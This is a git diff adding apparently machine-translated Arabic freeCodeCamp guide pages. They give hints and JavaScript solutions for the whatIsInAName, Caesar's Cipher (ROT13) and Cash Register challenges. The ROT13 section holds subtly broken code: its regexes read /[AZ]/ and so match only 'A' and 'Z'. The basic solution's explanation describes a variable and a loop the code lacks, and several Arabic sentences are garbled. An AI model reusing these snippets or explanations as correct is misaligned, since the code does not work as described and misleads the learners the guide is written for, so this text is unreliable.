+
+*   للحلقات
+*   Array.prototype.filter ()
+*   [Object.hasOwnProperty ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function whatIsInAName(collection, source) { 
+  // "What's in a name? that which we call a rose 
+  // By any other name would smell as sweet.” 
+  // -- by William Shakespeare, Romeo and Juliet 
+  var srcKeys = Object.keys(source); 
+ 
+  return collection.filter(function (obj) { 
+    return srcKeys.every(function (key) { 
+      return obj.hasOwnProperty(key) && obj[key] === source[key]; 
+    }); 
+  }); 
+ } 
+ 
+ // test here 
+ whatIsInAName([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" }); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmi/0)
+
+### شرح الشفرة:
+
+*   نقوم بالتصفية من خلال المجموعة باستخدام `.filter()` .
+*   بعد ذلك ، نعرض قيمة `Boolean` `.filter()` .
+*   وأخيرًا ، يتم تقليل القيمة `Boolean` يتم إرجاعها للأسلوب `.every()` .
+
+#### روابط ذات صلة
+
+*   Array.prototype.filter ()
+*   Array.prototype.every ()
+*   [Object.hasOwnProperty ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function whatIsInAName(collection, source) { 
+  // "What's in a name? that which we call a rose 
+  // By any other name would smell as sweet.” 
+  // -- by William Shakespeare, Romeo and Juliet 
+  var srcKeys = Object.keys(source); 
+ 
+  // filter the collection 
+  return collection.filter(function (obj) { 
+    return srcKeys 
+      .map(function(key) { 
+        return obj.hasOwnProperty(key) && obj[key] === source[key]; 
+      }) 
+      .reduce(function(a, b) { 
+        return a && b; 
+      }); 
+  }); 
+ } 
+ 
+ // test here 
+ whatIsInAName([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" }); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmj/0)
+
+### شرح الشفرة:
+
+*   نبدأ من خلال التصفية من خلال `collection` `Array.filter()` .
+*   بعد ذلك ، نقوم بالتخطيط من خلال جميع المفاتيح ونرجع قيم Boolean استنادًا إلى شروط الاختيار: يجب أن يتواجد كل من المفتاح والقيمة المقابلة له داخل الكائن الذي نقوم بتصفيته.
+*   ثم نقوم بتخفيض القيم المنطقية المعينة إلى منطقي واحد يشير إلى ما إذا كانت جميع srcKeys تمر الشروط المحددة أعلاه.
+*   سيتم استخدام منطقية واحدة للتصفية خلال المجموعة.
+
+#### روابط ذات صلة
+
+*   Array.prototype.filter ()
+*   Array.prototype.reduce ()
+*   [Object.hasOwnProperty ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/caesars-cipher/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/caesars-cipher/index.md
new file mode 100644
index 0000000000..2a35e80368
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/caesars-cipher/index.md
@@ -0,0 +1,291 @@
+---
+title: Caesars Cipher
+localeTitle: قيصر تشفير
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+*   تحتاج إلى كتابة وظيفة ، والتي سوف تأخذ سلسلة مشفرة مع _تشفير قيصر_ كمعلمة ويفك شفرة.
+*   الطريقة المستخدمة هنا هي ROT13 حيث يتم تحويل قيمة الرسالة إلى 13 مكانًا. على سبيل المثال "أ" ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 ": left_right_arrow:") "N" ، "T" ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 ": left_right_arrow:") 'G'.
+*   يجب أن تقوم بتحويله إلى 13 موضعًا ، مثل "N" ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 ": left_right_arrow:") 'ا'.
+
+#### روابط ذات صلة
+
+*   [String.prototype.charCodeAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   String.fromCharCode
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+استخدم _String.charCodeAt ()_ لتحويل الأحرف الإنجليزية إلى ASCII.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+استخدم _String.fromCharCode ()_ لتحويل ASCII إلى الأحرف الإنجليزية.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+ترك أي شيء لا يأتي بين AZ كما هو.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function rot13(str) { 
+      // Split str into a character array 
+      return str.split('') 
+      // Iterate over each character in the array 
+        .map.call(str, function(char) { 
+          // Convert char to a character code 
+          x = char.charCodeAt(0); 
+          // Checks if character lies between AZ 
+          if (x < 65 || x > 90) { 
+            return String.fromCharCode(x);  // Return un-converted character 
+          } 
+          //N = ASCII 78, if the character code is less than 78, shift forward 13 places 
+          else if (x < 78) { 
+            return String.fromCharCode(x + 13); 
+          } 
+          // Otherwise shift the character 13 places backward 
+          return String.fromCharCode(x - 13); 
+        }).join('');  // Rejoin the array into a string 
+    } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/38)
+
+### شرح الشفرة:
+
+*   يتم `nstr` متغير سلسلة وتهيئته لتخزين السلسلة التي تم فك ترميزها.
+*   يتم استخدام الحلقة for حلقة عبر كل حرف من سلسلة الإدخال.
+*   إذا لم يتم أحرف كبيرة الطابع الحروف الهجائية الإنجليزية (أي لا تكمن أسكي في الفترة ما بين 65 و 91)، ونحن سوف ترك الأمر كما هو، و [يستمر](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/continue) مع التكرار التالي.
+*   إذا كانت الأبجدية الإنجليزية كبيرة ، فسنطرح 13 من كود ascii.
+*   إذا كان رمز ascii أقل من 78 ، فسيخرج من النطاق عند طرحه 13 ، لذا سنضيف 26 (عدد الحروف بالأحرف الانجليزية) حتى بعد A سوف تعود إلى Z. على سبيل المثال M (77) ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 ": left_right_arrow:") 77-13 = 64 (ليست الأبجدية الإنجليزية) +26 = 90 ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 ": left_right_arrow:") Z (90).
+
+#### روابط ذات صلة
+
+*   [Array.prototype.map](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+*   [String.prototype.split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Array.prototype.join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `    // Solution with Regular expression and Array of ASCII character codes 
+    function rot13(str) { 
+      var rotCharArray = []; 
+      var regEx = /[AZ]/ ; 
+      str = str.split(""); 
+      for (var x in str) { 
+        if (regEx.test(str[x])) { 
+          // A more general approach 
+          // possible because of modular arithmetic 
+          // and cyclic nature of rot13 transform 
+          rotCharArray.push((str[x].charCodeAt() - 65 + 13) % 26 + 65); 
+        } else { 
+          rotCharArray.push(str[x].charCodeAt()); 
+        } 
+      } 
+      str = String.fromCharCode.apply(String, rotCharArray); 
+      return str; 
+    } 
+ 
+    // Change the inputs below to test 
+    rot13("LBH QVQ VG!"); 
+` 
+
+### شرح الشفرة:
+
+*   يتم إنشاء مصفوفة فارغة في متغير يسمى `rotCharArray` لتخزين رموز الأحرف.
+*   يخزن المتغير `regEx` تعبيرًا عاديًا لجميع الأحرف الكبيرة من الألف إلى الياء.
+*   نحن `str` إلى صفيف أحرف ثم نستخدم حلقة for loop من خلال كل حرف في الصفيف.
+*   باستخدام عبارة if ، نختبر لمعرفة ما إذا كانت السلسلة تحتوي فقط على أحرف كبيرة من A إلى Z.
+*   إذا كانت القيمة true ، فإننا نستخدم الدالة `charCodeAt()` والتحويل rot13 لإرجاع القيمة الصحيحة ، وإلا فإننا نرجع القيمة الأولية.
+*   ثم نقوم بإرجاع السلسلة برموز الأحرف من متغير `rotCharArray` .
+
+### شرح الخوارزمية:
+
+ `ALPHA    KEY BASE             ROTATED    ROT13 
+ ------------------------------------------------------------- 
+ [A]     65  <=>   0 + 13  =>  13 % 26  <=>  13 + 65 = 78 [N] 
+ [B]     66  <=>   1 + 13  =>  14 % 26  <=>  14 + 65 = 79 [O] 
+ [C]     67  <=>   2 + 13  =>  15 % 26  <=>  15 + 65 = 80 [P] 
+ [D]     68  <=>   3 + 13  =>  16 % 26  <=>  16 + 65 = 81 [Q] 
+ [E]     69  <=>   4 + 13  =>  17 % 26  <=>  17 + 65 = 82 [R] 
+ [F]     70  <=>   5 + 13  =>  18 % 26  <=>  18 + 65 = 83 [S] 
+ [G]     71  <=>   6 + 13  =>  19 % 26  <=>  19 + 65 = 84 [T] 
+ [H]     72  <=>   7 + 13  =>  20 % 26  <=>  20 + 65 = 85 [U] 
+ [I]     73  <=>   8 + 13  =>  21 % 26  <=>  21 + 65 = 86 [V] 
+ [J]     74  <=>   9 + 13  =>  22 % 26  <=>  22 + 65 = 87 [W] 
+ [K]     75  <=>  10 + 13  =>  23 % 26  <=>  23 + 65 = 88 [X] 
+ [L]     76  <=>  11 + 13  =>  24 % 26  <=>  24 + 65 = 89 [Y] 
+ [M]     77  <=>  12 + 13  =>  25 % 26  <=>  25 + 65 = 90 [Z] 
+ [N]     78  <=>  13 + 13  =>  26 % 26  <=>   0 + 65 = 65 [A] 
+ [O]     79  <=>  14 + 13  =>  27 % 26  <=>   1 + 65 = 66 [B] 
+ [P]     80  <=>  15 + 13  =>  28 % 26  <=>   2 + 65 = 67 [C] 
+ [Q]     81  <=>  16 + 13  =>  29 % 26  <=>   3 + 65 = 68 [D] 
+ [R]     82  <=>  17 + 13  =>  30 % 26  <=>   4 + 65 = 69 [E] 
+ [S]     83  <=>  18 + 13  =>  31 % 26  <=>   5 + 65 = 70 [F] 
+ [T]     84  <=>  19 + 13  =>  32 % 26  <=>   6 + 65 = 71 [G] 
+ [U]     85  <=>  20 + 13  =>  33 % 26  <=>   7 + 65 = 72 [H] 
+ [V]     86  <=>  21 + 13  =>  34 % 26  <=>   8 + 65 = 73 [I] 
+ [W]     87  <=>  22 + 13  =>  35 % 26  <=>   9 + 65 = 74 [J] 
+ [X]     88  <=>  23 + 13  =>  36 % 26  <=>  10 + 65 = 75 [K] 
+ [Y]     89  <=>  24 + 13  =>  37 % 26  <=>  11 + 65 = 76 [L] 
+ [Z]     90  <=>  25 + 13  =>  38 % 26  <=>  12 + 65 = 77 [M] 
+` 
+
+#### روابط ذات صلة
+
+*   [Function.apply](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
+*   [رجإكس](https://forum.freecodecamp.com/t/regular-expressions-resources/15931)
+*   [Regex.test](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/39)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function rot13(str) { // LBH QVQ VG! 
+  return str.replace(/[AZ]/g, L => String.fromCharCode((L.charCodeAt(0) % 26) + 65)); 
+ } 
+` 
+
+### شرح الخوارزمية:
+
+يُعد فهم مشغّل modulo ( _الذي يُطلق عليه أحيانًا مُعامِل المعامل_ ) والذي يتم تمثيله رمزياً كـ `%` في JavaScript مفتاحًا لفهم الخوارزمية.  
+هذا هو المشغل مثيرة للاهتمام والتي تظهر في أماكن مختلفة من الهندسة على سبيل المثال في التشفير.
+
+أساسا ، تعمل على عدد ، يقسم الرقم عن طريق القاسم المعطى ويعطي ما تبقى من التقسيم.  
+فمثلا،
+
+*   `0 % 5 = 0` لأن `0 / 5 = 0` والباقي `0` .
+    
+*   `2 % 5 = 2` لأن `2 / 5 = 0` والباقي `2`
+    
+*   `4 % 5 = 4` لأن `4 / 5 = 0` والباقي `4`
+    
+*   `5 % 5 = 0` لأن `5 / 5 = 1` والباقي هو `0`
+    
+*   `7 % 5 = 2` لأن `7 / 5 = 1` والباقي `2`
+    
+*   `9 % 5 = 4` لأن `9 / 5 = 1` والباقي `4`
+    
+*   `10 % 5 = 0` لأن `10 / 5 = 2` والباقي `0`
+    
+
+ولكن يجب أن تكون قد لاحظت وجود نمط هنا.  
+كما لاحظت ، يلتف مشغل modulo المدهش على قيمة LHS عندما يصل إلى مضاعفات قيمة RHS.  
+على سبيل المثال في حالتنا ، عندما `LHS = 5` ، أنها ملفوفة إلى `0`  
+أو  
+عندما `LHS = 10` ، فإنه ملفوف إلى `0` مرة أخرى.
+
+ومن ثم ، نرى النمط التالي في الظهور
+
+ ` 0 ⇔ 0 
+ 1 ⇔ 1 
+ 2 ⇔ 2 
+ 3 ⇔ 3 
+ 4 ⇔ 4 
+ 5 ⇔ 0 
+ 6 ⇔ 1 
+ 7 ⇔ 2 
+ 8 ⇔ 3 
+ 9 ⇔ 4 
+ 10 ⇔ 0 
+` 
+
+ومن ثم ، نستنتج أنه باستخدام مشغل modulo ، يمكن للمرء أن يقوم بتعيين نطاق من القيم إلى نطاق بين \[ `0` إلى `DIVISOR - 1` \]. في حالتنا، نحن تعيين \[ `5 - 9` \] بين \[ `0 - 4` \] أو تعيين \[ `6 - 10` \] بين \[ `0 - 4` \].
+
+هل فهمت حتى هذا؟
+
+الآن دعونا ننظر في تعيين مجموعة من `26` أرقام ، أي ما بين \[ `65 - 90` \] والتي تمثل الأحرف الكبيرة \[ **الإنجليزية** \] في [مجموعة أحرف Unicode](http://unicode-table.com/en/alphabets/) إلى مجموعة من الأرقام بين \[ `0 - 25` \].
+
+ `[A]  65 % 26 ⇔ 13 
+ [B]  66 % 26 ⇔ 14 
+ [C]  67 % 26 ⇔ 15 
+ [D]  68 % 26 ⇔ 16 
+ [E]  69 % 26 ⇔ 17 
+ [F]  70 % 26 ⇔ 18 
+ [G]  71 % 26 ⇔ 19 
+ [H]  72 % 26 ⇔ 20 
+ [I]  73 % 26 ⇔ 21 
+ [J]  74 % 26 ⇔ 22 
+ [K]  75 % 26 ⇔ 23 
+ [L]  76 % 26 ⇔ 24 
+ [M]  77 % 26 ⇔ 25 
+ [N]  78 % 26 ⇔  0 
+ [O]  79 % 26 ⇔  1 
+ [P]  80 % 26 ⇔  2 
+ [Q]  81 % 26 ⇔  3 
+ [R]  82 % 26 ⇔  4 
+ [S]  83 % 26 ⇔  5 
+ [T]  84 % 26 ⇔  6 
+ [U]  85 % 26 ⇔  7 
+ [V]  86 % 26 ⇔  8 
+ [W]  87 % 26 ⇔  9 
+ [X]  88 % 26 ⇔ 10 
+ [Y]  89 % 26 ⇔ 11 
+ [Z]  90 % 26 ⇔ 12 
+` 
+
+كما يمكنك ملاحظة ، كل رقم في نطاق \[ `65 - 90` \] يرقم إلى رقم فريد بين \[ `0 - 25` \].  
+ربما لاحظت أيضًا أن كل رقم معين (على سبيل المثال `65` ) يرسم إلى رقم آخر (مثل `13` ) والذي يمكن استخدامه كقيمة تعويض (أي `65 + OFFSET` ) للحصول على ROT13 من الرقم المحدد.
+
+على سبيل المثال `65` خريطة إلى `13` والتي يمكن أن تؤخذ كقيمة تعويض ويضاف إلى `65` لإعطاء `78` .
+
+ `[A]  65 % 26 ⇔ 13 + 65 =  78 [N] 
+ [B]  66 % 26 ⇔ 14 + 65 =  79 [O] 
+ [C]  67 % 26 ⇔ 15 + 65 =  80 [P] 
+ [D]  68 % 26 ⇔ 16 + 65 =  81 [Q] 
+ [E]  69 % 26 ⇔ 17 + 65 =  82 [R] 
+ [F]  70 % 26 ⇔ 18 + 65 =  83 [S] 
+ [G]  71 % 26 ⇔ 19 + 65 =  84 [T] 
+ [H]  72 % 26 ⇔ 20 + 65 =  85 [U] 
+ [I]  73 % 26 ⇔ 21 + 65 =  86 [V] 
+ [J]  74 % 26 ⇔ 22 + 65 =  87 [W] 
+ [K]  75 % 26 ⇔ 23 + 65 =  88 [X] 
+ [L]  76 % 26 ⇔ 24 + 65 =  89 [Y] 
+ [M]  77 % 26 ⇔ 25 + 65 =  90 [Z] 
+ [N]  78 % 26 ⇔  0 + 65 =  65 [A] 
+ [O]  79 % 26 ⇔  1 + 65 =  66 [B] 
+ [P]  80 % 26 ⇔  2 + 65 =  67 [C] 
+ [Q]  81 % 26 ⇔  3 + 65 =  68 [D] 
+ [R]  82 % 26 ⇔  4 + 65 =  69 [E] 
+ [S]  83 % 26 ⇔  5 + 65 =  70 [F] 
+ [T]  84 % 26 ⇔  6 + 65 =  71 [G] 
+ [U]  85 % 26 ⇔  7 + 65 =  72 [H] 
+ [V]  86 % 26 ⇔  8 + 65 =  73 [I] 
+ [W]  87 % 26 ⇔  9 + 65 =  74 [J] 
+ [X]  88 % 26 ⇔ 10 + 65 =  75 [K] 
+ [Y]  89 % 26 ⇔ 11 + 65 =  76 [L] 
+ [Z]  90 % 26 ⇔ 12 + 65 =  77 [M] 
+` 
+
+### شرح الشفرة:
+
+*   تتيح لك [الدالة](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942) `String.prototype.replace` تحويل `String` استنادًا إلى بعض تطابق النمط (المحدد بواسطة تعبير عادي) ، [ووظيفة التحويل](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Specifying_a_function_as_a_parameter) (التي يتم تطبيقها على كل من تطابقات النمط).
+*   يتم استخدام بناء جملة [الدالة "السهم"](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) لكتابة المعلمة الدالة `replace()` .
+*   `L` يمثل وحدة واحدة، من كل مباراة نمط مع `/[AZ]/g` - الذي هو كل حرف كبير في الأبجدية من `A` إلى `Z` ، موجودة في السلسلة.
+*   تطبق وظيفة السهم تحويل `rot13` على كل حرف كبير من الأبجدية الإنجليزية الموجودة في السلسلة المعطاة.
+
+#### روابط ذات صلة
+
+*   [String.prototype.replace ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملحوظة للمساهمين:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/cash-register/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/cash-register/index.md
new file mode 100644
index 0000000000..b3ce923481
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/cash-register/index.md
@@ -0,0 +1,135 @@
+---
+title: Cash Register
+localeTitle: ماكينة تسجيل المدفوعات النقدية
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+*   يجب عليك إنشاء برنامج يقوم بإرجاع كائن يحتوي على مفتاح `status` ومفتاح `change` . قيمة `status` هي سلسلة `INSUFFICIENT_FUNDS` أو `CLOSED` أو `OPEN` ، وقيمة `change` هي صفيف ثنائي الأبعاد من التغيير المستحق.
+
+#### روابط ذات صلة
+
+*   هياكل البيانات هيكل
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   فمن الأسهل عندما تعرف كم من المال في السجل الخاص بك مسبقا. لهذا فمن المستحسن أن يكون لديك وظيفة لتعيين هذه المعلومات إلى متغير. ثم يمكنك معرفة ما إذا كان لديك ما يكفي من المال لإتمام المعاملة وإرجاع التغيير ، أو إذا كان يجب عليك إغلاق السجل.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+*   هذه المشكلة أسهل عندما تعرف قيمة كل فاتورة أو عملة تعمل معها ، وليس مجرد مجموع كل منها في السجل. على سبيل المثال ، من المفيد أن تعرف أن النيكل يستحق 0.05 ، إلى جانب حقيقة أن لديك نيكل بقيمة 2.05 دولار في سجل النقدية.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+*   سيكون عليك الحصول على أكبر قدر من التغيير من نوع واحد من الفاتورة أو العملة قبل الانتقال إلى التالي ، من قيمة أكبر إلى أقل. استمر حتى تحسب كل التغير المستحق.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") حل رمز المبتدئين:
+
+ `// Create an array of objects which hold the denominations and their values 
+ var denom = [ 
+  { name: 'ONE HUNDRED', val: 100.00}, 
+  { name: 'TWENTY', val: 20.00}, 
+  { name: 'TEN', val: 10.00}, 
+  { name: 'FIVE', val: 5.00}, 
+  { name: 'ONE', val: 1.00}, 
+  { name: 'QUARTER', val: 0.25}, 
+  { name: 'DIME', val: 0.10}, 
+  { name: 'NICKEL', val: 0.05}, 
+  { name: 'PENNY', val: 0.01} 
+ ]; 
+ 
+ function checkCashRegister(price, cash, cid) { 
+  var output = { status: null, change: [] }; 
+  var change = cash - price; 
+ 
+  // Transform CID array into drawer object 
+  var register = cid.reduce(function(acc, curr) { 
+    acc.total += curr[1]; 
+    acc[curr[0]] = curr[1]; 
+    return acc; 
+  }, { total: 0 }); 
+ 
+  // Handle exact change 
+  if (register.total === change) { 
+    output.status = 'CLOSED'; 
+    output.change = cid; 
+    return output; 
+  } 
+ 
+  // Handle obvious insufficient funds 
+  if (register.total < change) { 
+    output.status = 'INSUFFICIENT_FUNDS'; 
+    return output; 
+  } 
+ 
+  // Loop through the denomination array 
+  var change_arr = denom.reduce(function(acc, curr) { 
+    var value = 0; 
+    // While there is still money of this type in the drawer 
+    // And while the denomination is larger than the change remaining 
+    while (register[curr.name] > 0 && change >= curr.val) { 
+      change -= curr.val; 
+      register[curr.name] -= curr.val; 
+      value += curr.val; 
+ 
+      // Round change to the nearest hundreth deals with precision errors 
+      change = Math.round(change * 100) / 100; 
+    } 
+    // Add this denomination to the output only if any was used. 
+    if (value > 0) { 
+        acc.push([ curr.name, value ]); 
+    } 
+    return acc; // Return the current change_arr 
+  }, []); // Initial value of empty array for reduce 
+ 
+  // If there are no elements in change_arr or we have leftover change, return 
+  // the string "Insufficient Funds" 
+  if (change_arr.length < 1 || change > 0) { 
+    output.status = 'INSUFFICIENT_FUNDS'; 
+    return output; 
+  } 
+ 
+  // Here is your change, ma'am. 
+  output.status = 'OPEN'; 
+  output.change = change_arr; 
+  return output; 
+ } 
+ 
+ // test here 
+ checkCashRegister(19.50, 20.00, [["PENNY", 1.01], ["NICKEL", 2.05], ["DIME", 3.10], ["QUARTER", 4.25], ["ONE", 90.00], ["FIVE", 55.00], ["TEN", 20.00], ["TWENTY", 60.00], ["ONE HUNDRED", 100.00]]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/@scissorsneedfoo/cash-register-example)
+
+### شرح الشفرة:
+
+أولاً ، قم بإنشاء صفيف من الكائنات بقيمة كل فئة من الفواتير أو العملة ، مع كائن الإخراج مع مفاتيح الحالة والتغيير. بعد ذلك ، قم بتحويل مصفوفة CID إلى كائن درج. ثم ، التعامل مع شروط التغيير الدقيق والأموال غير كافية. قم `denom` من خلال مجموعة الصفيف وقم بتحديث التغيير والقيم بينما لا يزال هناك نقود من كل نوع في الدرج وبينما تكون التسمية أكبر من التغيير المتبقي. إضافة هذه التسمية إلى تراكم `change_arr` إذا تم استخدام أي من هذا النوع. بعد الحلقة ، يكون `change_arr` عبارة عن مصفوفة ثنائية الأبعاد من التغيير المستحق ، تم فرزه من أعلى إلى أدنى فئة. إذا لم تكن هناك عناصر في `change_arr` أو كنت لا تزال مدينًا بالتغيير ، `INSUFFICIENT_FUNDS` كائن المخرجات إلى حالة `INSUFFICIENT_FUNDS` . أخيرا يمكنك إعطاء التغيير الصحيح. إرجاع كائن الإخراج مع حالة `OPEN` و `change_arr` كقيمة التغيير.
+
+#### روابط ذات صلة
+
+*   [شبيبة صفيف التقليل](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
